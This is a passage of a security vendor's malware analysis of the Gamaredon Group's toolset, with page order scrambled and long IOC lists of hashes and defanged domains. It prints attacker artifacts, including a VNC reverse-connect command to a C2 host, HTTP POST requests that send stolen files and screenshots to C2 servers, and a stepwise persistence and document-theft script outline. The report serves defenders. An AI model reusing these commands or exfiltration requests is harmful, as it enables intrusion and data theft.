2ec204d0f35404c2548ac3dbc7b02e5db7ba28d4bc5c701986f0bfcee2a5fa5a 77e1dfaeb73c4edf762f9503c428c1d92af6882b48305f5f5b070ec136575e43 610d37dfb3089b516e4bced89de0c5161614d50ca511853f7be81138dfc4e844 60ff74d053037b5ae70eeaf199a0acba35f58d275d12915ae8ed813dbf9a5b55 376943f886b264824f6063e7dfc54a1a2d5071a3d44dec05208596079d6cf276 89d4d851e6729a854fccb4d4f9277f9f545396714ff2b108d29c7ff418a501a3 18db52a63720187b2afd57667e9ebdcb0a50a8e99909340281dcd07e266d761f bb05a0d905b915e2e84a8e69c2af438f72730131c5a1e3e1fe85df13c61182ac 187155b727346d63c1b1c8e4e3ae88aed89746a4a323b5170139fa5aa760b3a3 7451c813eebe45ee8c743abc5e75c9475cab427d44e9a255f89f73c4e7ca7106 44cd0fdb877838f559d60500cd08cee66d8a79005d7e86f81671c18ec7ab3cb5 810aed604e1ec5d5aec00c783bc44e5ca753c5c0f2dc64f431c8f8d48b6dbf41 Appendix B: Associated Domains 21/35 1c-host[.]host 1cpred[.]org allforest[.]pw antiprt[.]com atonix[.]pw babbabbab[.]ru babbabbab2[.]ru babbebbab[.]com babbebbab2[.]com babbibbab2[.]ua babbihbab[.]host babblabbab2[.]link babblahbab[.]com babblebbab[.]pw babblebbab2[.]pw babblehbab[.]top babblibbab2[.]xyz babblihbab[.]link babblohbab[.]pw babblulbab[.]pw babbobbab[.]link babbohbab[.]com babbolbab[.]host babbolbab[.]ru babbrabbab2[.]xyz babbrebbab[.]rocks babbrebbab2[.]rocks babbrehbab[.]pw babbribbab2[.]space babbrihbab[.]xyz babbrohbab[.]rocks 22/35 babbrulbab[.]rocks babbulbab[.]com babchabbab[.]org babchabbab2[.]org babchebbab2[.]ru babchehbab[.]in babchibbab[.]com babchihbab[.]org babcholbab[.]org babclabbab2[.]space babclebbab[.]biz babclebbab2[.]biz babclehbab[.]rocks babclibbab2[.]in babclihbab[.]space babclohbab[.]biz babclulbab[.]biz babcrabbab2[.]in babcrambab[.]ru babcrebbab[.]org babcrebbab2[.]org babcrehbab[.]biz babcribbab[.]ru babcrihbab[.]in babcrohbab[.]org babcruhbab[.]host babcrulbab[.]org babdabbab[.]ua babdabbab2[.]ua babdebbab[.]link babdebbab2[.]link 23/35 babdibbab2[.]pw babdihbab[.]top babdobbab[.]xyz babdohbab[.]link babdolbab[.]top babdrabbab2[.]ru babdrambab[.]ua babdrebbab[.]com babdrebbab2[.]com babdrehbab[.]org babdribbab[.]ua babdrihbab[.]host babdrohbab[.]com babdruhbab[.]top babdrulbab[.]com babdulbab[.]link babfabbab[.]pw babfabbab2[.]pw babfebbab[.]top babfebbab[.]xyz babfebbab2[.]xyz babfibbab2[.]rocks babfihbab[.]pw babflabbab2[.]ua babflambab[.]pw babflebbab[.]link babflebbab2[.]link babflehbab[.]com babflibbab[.]pw babflihbab[.]top babflohbab[.]link 24/35 babfluhbab[.]pw babflulbab[.]link babfobbab[.]space babfohbab[.]xyz babfolbab[.]pw babfrabbab2[.]pw babfrebbab[.]xyz babfrebbab2[.]xyz babfrehbab[.]link babfribbab[.]rocks babfrihbab[.]pw babfrohbab[.]xyz babfrulbab[.]xyz babfulbab[.]xyz babgabbab2[.]rocks babgebbab[.]space babgebbab2[.]space babgibbab2[.]biz babgihbab[.]rocks babglabbab2[.]rocks babglebbab[.]space babglebbab2[.]space babglehbab[.]xyz babglibbab[.]biz babglihbab[.]rocks babglohbab[.]space babglulbab[.]space babgobbab[.]in babgofbab[.]biz babgohbab[.]space babgrabbab2[.]biz 25/35 babgrebbab[.]in babgrebbab2[.]in babgrehbab[.]space babgribbab[.]org babgrihbab[.]biz babgrohbab[.]in babgrulbab[.]in babgulbab[.]space babhabbab2[.]biz babhebbab[.]in babhebbab2[.]in babhibbab2[.]org babhihbab[.]biz babhohbab[.]in babhulbab[.]in babjabbab2[.]org babjebbab[.]ru babjebbab2[.]ru babjibbab2[.]com babjihbab[.]org babjohbab[.]host babjulbab[.]host babkabbab2[.]com babkebbab[.]ua babkebbab2[.]ua babkehbab[.]host babkibbab2[.]link babkihbab[.]com babkohbab[.]top babkulbab[.]top bablabbab2[.]link 26/35 bablebbab[.]pw bablebbab2[.]pw bablehbab[.]top bablibbab2[.]xyz bablihbab[.]link bablohbab[.]pw bablulbab[.]pw babmabbab[.]xyz babmabbab2[.]xyz babmebbab[.]rocks babmebbab2[.]rocks babmehbab[.]pw babmibbab2[.]space babmihbab[.]xyz babmilbab[.]pw babmohbab[.]rocks babmulbab[.]rocks babnabbab2[.]space babnebbab[.]biz babnebbab2[.]biz babnehbab[.]rocks babnibbab2[.]in babnihbab[.]space babnohbab[.]biz babnulbab[.]biz babpabbab2[.]in babpebbab[.]org babpebbab2[.]org babpehbab[.]biz babpibbab2[.]ru babpihbab[.]in 27/35 babplabbab2[.]org babplebbab[.]ru babplebbab2[.]ru babplehbab[.]in babplibbab[.]com babplifbab[.]ru babplihbab[.]org babplohbab[.]host babplulbab[.]host babpohbab[.]org babprabbab2[.]com babprebbab[.]ua babprebbab2[.]ua babprehbab[.]host babpribbab[.]link babprihbab[.]com babprulbab[.]top babpulbab[.]org babrabbab2[.]ru babrebbab[.]com babrebbab2[.]com babrehbab[.]org babribbab2[.]ua babrihbab[.]host babrohbab[.]com babrulbab[.]com babsabbab2[.]ua babsahbab[.]host babsebbab[.]link babsebbab2[.]link babsehbab[.]com 28/35 babsibbab2[.]pw babsihbab[.]top babskabbab2[.]link babskebbab[.]pw babskebbab2[.]pw babskehbab[.]top babskibbab[.]xyz babskihbab[.]link babslabbab2[.]xyz babslebbab2[.]rocks babslehbab[.]pw babslibbab[.]space babslihbab[.]xyz babsmabbab2[.]space babsmebbab2[.]biz babsmehbab[.]rocks babsmibbab[.]in babsmihbab[.]space babsnabbab2[.]in babsnebbab2[.]org babsnehbab[.]biz babsnibbab[.]ru babsnihbab[.]in babsofbab[.]pw babsohbab[.]link babspabbab[.]ru babspabbab2[.]ru babspebbab2[.]com babspefbab[.]ru babspehbab[.]org babspibbab[.]ua 29/35 babspihbab[.]host babspolbab[.]host babstabbab[.]ua babstabbab2[.]ua babstebbab2[.]link babstefbab[.]com babstehbab[.]com babstibbab[.]pw babstihbab[.]top babstolbab[.]top babstrabbab[.]pw babstrabbab2[.]pw babstrebbab2[.]xyz babstrefbab[.]pw babstrehbab[.]link babstribbab[.]rocks babstrihbab[.]pw babstrolbab[.]pw babsulbab[.]link babswabbab[.]rocks babswabbab2[.]rocks babswebbab2[.]space babswehbab[.]xyz babswibbab[.]biz babswihbab[.]rocks babswolbab[.]rocks babtabbab2[.]pw babtahbab[.]top babtebbab[.]xyz babtebbab2[.]xyz babtehbab[.]link 30/35 babtibbab2[.]rocks babtihbab[.]pw babtohbab[.]xyz babtrabbab[.]biz babtrabbab2[.]biz babtrebbab2[.]in babtrehbab[.]space babtribbab[.]org babtrihbab[.]biz babtrolbab[.]biz babtulbab[.]xyz babvabbab2[.]rocks babvahbab[.]pw babvebbab[.]space babvebbab2[.]space babvehbab[.]xyz babvibbab2[.]biz babvihbab[.]rocks babvohbab[.]space babvulbab[.]space babwabbab2[.]biz babwahbab[.]rocks babwebbab[.]in babwebbab2[.]in babwehbab[.]space babwibbab2[.]org babwihbab[.]biz babwohbab[.]in babwulbab[.]in babyabbab2[.]org babyahbab[.]biz 31/35 babyebbab[.]ru babyebbab2[.]ru babyehbab[.]in babyibbab2[.]com babyihbab[.]org babyohbab[.]host babyulbab[.]host babzabbab2[.]com babzahbab[.]org babzebbab[.]ua babzebbab2[.]ua babzehbab[.]host babzibbab2[.]link babzihbab[.]com babzohbab[.]top babzulbab[.]top bannarbor[.]pw bisquitshore[.]xyz bitrixon[.]biz buhgalter[.]pw buhgalter[.]rocks buhgalters[.]xyz businessolution[.]site cheturion[.]org chipacom[.]net cloneduring[.]pw companysafa[.]biz corpofname[.]pw datamining[.]press dersteoyna[.]pw dovnikus[.]su 32/35 efros[.]pw flashclicks[.]info forbusinessgo[.]xyz fortificar[.]net fracking[.]host gateoflife[.]pw gaz[.]rocks gedealer[.]pw globuspp[.]pw grandvita[.]pw greenlanterns[.]xyz greenworldsun[.]xyz guardomorph[.]com guwang[.]pw jobforreborn[.]xyz kokinatsu[.]pw kukuzaki[.]me kupala[.]me lastsnow[.]link maradonianos[.]pw mercurytod[.]pw muxa[.]club mycorpsafa[.]biz n-nalog78[.]com newsunconcept[.]in newsupport[.]us nothingmore[.]us novayarabota[.]pw nvpn[.]pw odejda77[.]net okvd[.]biz 33/35 olen[.]bid onechat[.]pw placetobuy[.]pw platej[.]pw poplata-da[.]org portw[.]org powersand[.]link pricemeet[.]pw puldisk[.]xyz rabotadnya[.]pw raintor[.]pw ricarier[.]org rosgaz[.]pw rumoney[.]xyz salesforlife[.]top salesline[.]top sam-sam[.]pw sandstyle[.]biz sandw[.]pw santrimo[.]lol seclist[.]site seclist[.]top selenaspace[.]space sellgrax[.]club semodo[.]pw sensetunoespossible[.]cat shortsell[.]trade shortselling[.]club sixgoats[.]pw snp500[.]trade solotender[.]pw 34/35 sslprivate[.]org tapalulumba[.]com taskhoper[.]com titleworld[.]pw torglend[.]com tradertop[.]top trendkop[.]pw tyuocruz1312[.]net uchet[.]pw uchet[.]space visitpalace[.]xyz volumexp[.]xyz vortexenism[.]biz vpnserv[.]pw vwv.flashclicks[.]info winsocket[.]xyz yearreviews[.]net Updated 3/30/17: To remove unnecessary IPS Signature number. 35/35 The Gamaredon Group Toolset Evolution researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ By Anthony Kasza and Dominik Reichel 2/27/2017 Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities: A mechanism for downloading and executing additional payloads of their choice The ability to scan system drives for specific file types The ability to capture screenshots The ability to remotely execute commands on the system in the user s security context The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware. Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes. Previously, LookingGlass reported on a campaign they named Operation Armageddon, targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we ve named them the Gamaredon Group, an anagram of Armageddon . At this time, it is unknown if the new payloads this group is distributing is a continuation of Operation Armageddon or a new campaign. Gamaredon: Historical Tool Analysis The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX. Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called tool Remote Manipulator System (Figure 1) which they would abuse for malicious purposes. Figure 1 Remote Manipulator System Interface One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014. The password (reused by many of the password protected SFX payloads) it used to extract itself is 1234567890__ . The files included in this SFX file we observed include a batch file named 123.cmd and another SFX named setting.exe . This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation. Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed. Three examples of this type of payload include: 1/13 a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7 b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects. The text of one such decoy document is pictured below. Figure 2 Ukrainian Decoy Document used by Gamaredon Group Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC exectuables would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install at hxxp://prestigeclub.frantov.com[.]ua/press-center/press/chrome-xvnc-v5517.exe. The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords. One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available: start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500 The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is RMS\vnc . This isn t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as . Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, (0xc0000005). (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?). Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This application was written by a Ukrainian programmer and is used to check performance of USB flash drives. Its value to the attackers to the attackers isn t clear but one possibility is that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn t have VNC programs included. Custom Implants While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant. In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name LocalSMS.dll . This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A. 2/13 In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as Pteranodon. Pteranodon is a custom backdoor which is capable of the following tasks: Capturing screenshots at a configurable interval and uploading them to the attacker Downloading and executing additional files Executing arbitrary commands on the system The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to msrestore[.]ru/post.php using a static multipart boundary: 870978B0uNd4Ry_$ Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A. We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com[.]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools. A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is AdapterTroubleshooter.exe and the file uses icons which resemble those used by OpenVPN, as seen below. Upon examining the sample s file activity within AutoFocus it is clear the sample is a self-extracting executable. Figure 3 Self Extracting executable behavior shown in AutoFocus Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile timestamps and the pdb paths of the contents of the SFX file. SHA256 Filename Compile Time PDB Path 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 LocalSMS.dll Wed Apr 08:10:30 2015 c:\users\viber\documents\visual studio 2013\projects\contextmenu\release\contextmenu.pdb d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 MpClients.dll Thu Sep 05:01:00 2016 c:\users\user\documents\visual studio 2015\projects\updaterv1\release\updaterv1.pdb f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 OfficeUpdate.dll Dec 07 09:25:57 2016 2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 SmartArtGraphicsLog.lnk 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d UsrClass.lnk a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b condirs.cmd 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac winrestore.dll Mon Jan 03:12:39 2017 c:\develop\ready\winrestore proxy\release\winrestore.pdb 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd wmphost.exe Thu Dec 08:23:32 2016 c:\develop\ready\mouse-move\mousemove\release\mouse-move.pdb 3/13 The bootstrapping logic for the sample relies on the contents of condirs.cmd . Briefly, the logic within condirs.cmd follows: 1. Ensure %LOCALAPPDATA%\Microsoft\Windows\ exists 2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing 3. Copy winrestore.dll to %LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll 4. Copy OfficeUpdate.dll to %LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll 5. Determine if the operating system is Windows XP or Windows 7 6. If the system is running Windows XP a. Set the directory to copy files into as %WINDIR%\Setup\State\Office b. Copy UsrClass.lnk to %USERPROFILE%\ c. Copy SmartArtGraphicsLog.lnk to %USERPROFILE%\ 7. If the system is running Windows 7 a. Set the directory to copy files into as %APPDATA%\Microsoft\Office b. Copy UsrClass.lnk to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ c. Copy SmartArtGraphicsLog.lnk to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ Figure 4 Windows XP and Windows 7 logic within condirs.cmd 8. Copy winrestore.dll to the directory set in step 6 or 7a with the filename MSO1234.win 9. copy LocalSMS.dll to the directory set in step 6 or 7a with the filename MSO1567.dls 10. copy OfficeUpdate.dll to the directory set in step 6 or 7a with the filename MSO5678.usb 11. copy MpClients.dll to the directory set in step 6 or 7a with the filename MSO8734.obn 12. Execute the exported function updater within MSO1234.win using rundll32.exe 13. Execute the exported function EntryPoint within MSO1567.dls using rundll32.exe It should be noted that UsrClass.lnk links to %WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater and SmartArtGraphicsLog.lnk links to C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup . These are the locations winrestore.dll and OfficeUpdate.dll were copied to in steps 3 and 4, respectively. The condirs.cmd script then continues to: 1. Schedule the following tasks: a. Task name UpdatesWinRes , invoke MSO1234.win,updater b. Task name UpdatesWinDLL , invoke MSO1567.dls,EntryPoint c. Task name UpdatesWinUSBOOK , invoke MSO5678.usb,StartBackup d. Task name UpdatesWinOBN , invoke MSO8734.obn,bitDefender 2. Ensure the directory %Temp%\reports\ProfileSkype\ exists 3. Kill processes named skype.exe 4. Copy the contents of %AppData%\Skype to %Temp%\reports\ProfileSkype\ 5. Create subdirectories under %Temp%\reports\%COMPUTERNAME\ with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters. 6. Copy all files from all above drive letters with extensions docx xlsx and into %TEMP%\reports\%COMPUTERNAME%\%%d\ where %%d is the drive letter 7. Copy all files with the above extensions from all users Desktop Documents , and Downloads folders to %TEMP%\reports\%COMPUTERNAME%\Desktop\ 4/13 %TEMP%\reports\%COMPUTERNAME%\Documents\ and %TEMP%\reports\%COMPUTERNAME%\Downloads\ respectively Figure 5 The document stealing logic inside condirs.cmd 8. Execute the exported function StartBackup within MSO5678.usb using rundll32.exe 9. Execute the exported function bitDefender within MSO8734.obn using rundll32.exe 10. Clean up temporary files, sleep, and delete itself When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system. These individual implants are analyzed in detail in Appendix A. Trends Across Implants While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples include: Many of the batch scripts include misspellings of common English words. One such example is the filename . While another example, domen , is used as a variable name in a batch script which is likely meant to be domain Almost all batch scripts in all samples ping localhost as a means of sleeping Many of the batch scripts are named and some include the string Trons_ups and Treams Many of the batch scripts use the same commands for determining operating system version. Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest sample Samples employing VNC used the same configuration and passwords Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also, many of the custom developed tools use hardcoded network locations. Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX implants within AutoFocus additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below. 5/13 Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent. Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group Final Word The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed. Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns. This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag GamaredonGroup. Palo Alto Networks customers are protected from this threat in the following ways: WildFire identifies the malware described in this report as malicious. Traps prevents execution of the malware described in this report. 6/13 The C2 domains used by this group are blocked through Threat Prevention. Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks. Appendix A: Custom Implant Analyses USBStealer: MSO5678.usb / OfficeUpdate.dll This file is a USB file stealer which can be also guessed by its internal name USBgrabber.dll . However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected. The malware creates two mutexes __Wsnusb73__ and __Wsnusbtt73__ . Then, it creates the following folder in the temp path of the local user: C:\Users\\AppData\Local\Temp\reports This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server 195.62.52.93 one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive: POST /post.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache ------qwerty Content-Disposition: form-data; name="filename" \\ ------qwerty Content-Disposition: form-data; name="filedate" // : ------qwerty Content-Disposition: form-data; name="compname" |||||| ------qwerty Content-Disposition: form-data; name="serial" ------qwerty Content-Disposition: form-data; name="w" ------qwerty Content-Disposition: form-data; name="filesize" ------qwerty Content-Disposition: form-data; name="file"; filename="" Content-Type: application/octet-stream Content-Transfer-Encoding: binary ...File data... ------qwerty-- The malware also creates a SQLite database named asha.dat in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database. Figure 7 Structure of the database created by the malware It should be noted, that only hashes of files are added to the database that don t have the following extensions: 7/13 Downloader: MSO1567.dls / LocalSMS.dll This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in C++ and contains all of the functionality is in an export function named EntryPoint . The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string. At first, the malware retrieves the temp path of the local user ( C:\Users\\AppData\Local\Temp\ ), the computer name (e.g. WIN-MLABCSUOVJB ), the hardware profile GUID (e.g. {826ee360-7139-11de-8d20-808e6f6e6263} ) and the volume serial number of C:\ drive (e.g. 1956047236 ). Next, it takes the following hardcoded string: http://adobe.update-service[.]net/index.php?comp= To create a URL string with the victims information for contacting the C2 server: http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string always ends up being the same, namely frAQBc8Wsa . This string gets concatenated with the retrieved local users temp path to the following file path: C:\Users\\AppData\Local\Temp\frAQBc8Wsa Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits. Downloader: MSO8734.obn / MpClients.dll This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named bitDefender It creates a socket, requests the address of the hardcoded C2 server win-restore.ru via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call: GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1 Host: win-restore.ru Connection: close The response will be stored into a memory buffer via recv() and scanned for the string urltoload={ . As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it: C:\Users\\AppData\Local\Temp\frAQBc8Wsa Pteranodon: MSO1234.win / winrestore.dll Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named updater At first, it retrieves the %APPDATA% folder of the local user to build the following file path: C:\Users\\AppData\Roaming\Microsoft\desktop.ini Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement. If the file desktop.ini does not exist, the malware creates it and writes the following information into it: interval={60} msfolder={10} status={0} This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available: exec={ This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload. interval={ This command is used to define the interval in seconds between the creation of two or more screenshots. msfolder={ This command defines the number of screenshots to create. command={ / command_c={ This command is used to execute a file present as a string between the curly brackets. The variant with the uses the Windows tool cmd.exe with help of ShellExecute(). status={ This command contains the flag which defines if screenshots should be made ( ) or not ( Next, it checks for a mutex named asassin1dj to verify if the system is already infected and creates it if this isn t the case: 8/13 Figure 8 Mutex check and creation routine Next, it creates the following folder, if not already present: C:\Users\\AppData\Roaming\Microsoft\store Next, according to the configuration data in desktop.ini it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used: _ After the last screenshot was created, it uploads all files from the store folder to the C2 server win-restore[.]ru . Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script vvd.php . For this, the following HTTP request is used which contains also data from the victim as well the JPEG files: POST /vvd.php HTTP/1.1 Accept: application/x-www-form-urlencoded Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf_$ Accept-Charset: utf-8 User-Agent: asasing Host: win-restore.ru Content-Length: Cache-Control: no-cache ------------987978B0urd3Gf_$ Content-Type: text/html Content-Disposition: form-data; name="uuid" WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file0"; filename="_" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Content-Type: application/octet-stream Content-Disposition: form-data; name="file1"; filename="_" Content-Transfer-Encoding: 8bit ...JPEG file... ------------987978B0urd3Gf_$ Finally, it checks if any new command information is available from the C2 server and updates the desktop.ini file according to it. Based on functionality, compile timestamps, and binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824. wmphost.exe This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don t simulate mouse movement. To detect if it running inside a sandbox, another file can scan the list of running processes to see if wmphost.exe is present or not. Appendix B: Indicators of Compromise Domain Names admin-ru[.]ru adobe.update-service[.]net apploadapp.webhop[.]me brokbridge[.]com cat.gotdns[.]ch check-update[.]ru childrights.in[.]ua conhost.myftp[.]org docdownload.ddns[.]net downloads.email-attachments[.]ru downloads.file-attachments[.]ru 